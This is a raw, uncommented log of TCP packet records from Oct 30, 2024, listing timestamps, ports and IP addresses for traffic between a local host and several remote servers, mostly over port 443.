Oct 30, 2024 23:11:31.340935946 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.340986967 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.392954111 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.392980099 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.392999887 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.393007040 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.500272989 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.509304047 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.543941975 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.559578896 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.644963980 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.645018101 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.645080090 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.646738052 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.647270918 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.647284031 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.647644997 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.647650003 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.650898933 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.650904894 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.651534081 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.651539087 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.700189114 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.709918976 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.709933043 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.710599899 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.710623026 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.711036921 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.711050034 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.775532007 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.775727034 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.775798082 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.779231071 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.779385090 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.779493093 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.839128017 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.839190006 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.839363098 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.011821985 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.011821985 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.011873960 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.011883974 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.039374113 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.039403915 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.039421082 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.039428949 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.072894096 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.072937012 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.072967052 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.072985888 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.416488886 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.416518927 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.416594028 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.428045988 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:32.428086042 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:32.428956985 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:32.430861950 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:32.430876970 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:32.448812008 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.465723038 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.465737104 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.467540026 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.467564106 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.468225956 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.468231916 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.472661018 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.472690105 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.473052979 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.473354101 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.473377943 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.512275934 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.512300014 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.512428045 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.548059940 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.548074007 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.596528053 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.596806049 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.597031116 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.622150898 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.622168064 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.622176886 CET	49799	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.622184038 CET	443	49799	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.684488058 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.684521914 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:32.684596062 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.696295977 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:32.696326971 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.043780088 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.101332903 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.101376057 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.101946115 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.101953983 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.198862076 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.202533960 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.247308016 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.247582912 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.314754009 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.328569889 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.328962088 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.329040051 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.358417988 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.358432055 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.359158039 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.359164953 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.376238108 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.471286058 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.507760048 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.522624969 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.522697926 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.522773027 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.531390905 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.671756983 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.677105904 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.677123070 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.678348064 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.678360939 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.678417921 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.680275917 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.680351973 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.680509090 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.680515051 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.680983067 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.680995941 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.681443930 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.681448936 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.681618929 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.681618929 CET	49808	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.681636095 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.681639910 CET	443	49808	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.754573107 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.754611969 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.755289078 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.755300045 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.769645929 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.769706011 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.769733906 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.769754887 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.776377916 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.778245926 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.778264046 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.779113054 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.779119968 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.811940908 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.812092066 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.812159061 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.888003111 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.888011932 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.888020039 CET	49804	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.888025045 CET	443	49804	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.888281107 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.888340950 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.888593912 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.909030914 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.909049988 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.909068108 CET	49809	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.909077883 CET	443	49809	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.911927938 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.912121058 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.912242889 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.914465904 CET	49810	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.914483070 CET	443	49810	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.916486979 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.916502953 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.916596889 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.918194056 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.921931982 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.921962976 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.922195911 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.924784899 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.924797058 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.924858093 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.928714037 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.928738117 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.929088116 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.929687977 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.929706097 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.930357933 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.930375099 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.932182074 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.932249069 CET	443	49805	94.245.104.56	192.168.2.5
Oct 30, 2024 23:11:33.932307005 CET	49805	443	192.168.2.5	94.245.104.56
Oct 30, 2024 23:11:33.933516026 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.933536053 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.933726072 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.933738947 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.934372902 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.934381962 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:33.934504986 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.937856913 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:33.937865973 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.005243063 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:34.005300999 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:34.005398989 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:34.008344889 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:34.008367062 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:34.677273989 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.679011106 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.679399967 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.680697918 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.692281961 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.755537033 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.755558968 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.755995035 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.756036997 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.756042004 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.756359100 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.756373882 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.756799936 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.756804943 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.757102966 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.757122040 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.757472038 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.757492065 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.757749081 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.757754087 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.758249998 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.758255005 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.758521080 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.758533955 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.758913994 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.758919001 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.883794069 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.883867979 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.883919001 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.884258032 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.884655952 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.884706974 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.886816978 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.886822939 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.887006044 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.887053013 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.887098074 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.887145996 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.887181997 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.887531996 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.887573957 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.920969009 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.920969009 CET	49819	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.920988083 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.920998096 CET	443	49819	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.921133995 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.921139956 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.921149969 CET	49817	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.921154976 CET	443	49817	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.924495935 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.924530029 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.924541950 CET	49816	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.924551010 CET	443	49816	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.926075935 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.926114082 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.926131010 CET	49818	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.926141024 CET	443	49818	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.928796053 CET	49815	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.928812981 CET	443	49815	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.994827032 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:34.994879007 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:34.994942904 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.022537947 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:35.022602081 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:35.098587036 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.098680973 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.101003885 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.101026058 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.280720949 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:35.280754089 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:35.280806065 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:35.281048059 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:35.281058073 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:35.353519917 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:35.353547096 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:35.353689909 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:35.354171038 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:35.354187012 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:35.355215073 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.355248928 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.355386972 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.356236935 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.356252909 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.356339931 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.365498066 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.365513086 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.365837097 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.366718054 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.366731882 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.366797924 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.367657900 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.367748976 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.367769003 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.369956017 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.369971037 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.370382071 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.370397091 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.371117115 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.371129036 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.375135899 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.375161886 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.375323057 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.375469923 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.375483990 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.729768991 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.814675093 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.814701080 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.831788063 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.835804939 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.835825920 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.836080074 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.836143970 CET	443	49820	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:35.836239100 CET	49820	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:35.838063002 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.838093996 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.838547945 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:35.838552952 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.965190887 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.965748072 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:35.965837955 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.021200895 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.021230936 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.021238089 CET	49822	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.021250010 CET	443	49822	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.100909948 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.110227108 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.110291958 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.147650957 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.152159929 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.216695070 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:36.227974892 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.262598991 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:36.262614965 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:36.263837099 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:36.263897896 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:36.267764091 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.267771959 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.268269062 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.268280029 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.268304110 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.268318892 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.268352032 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.268358946 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.268404007 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.269006014 CET	443	49823	172.217.18.1	192.168.2.5
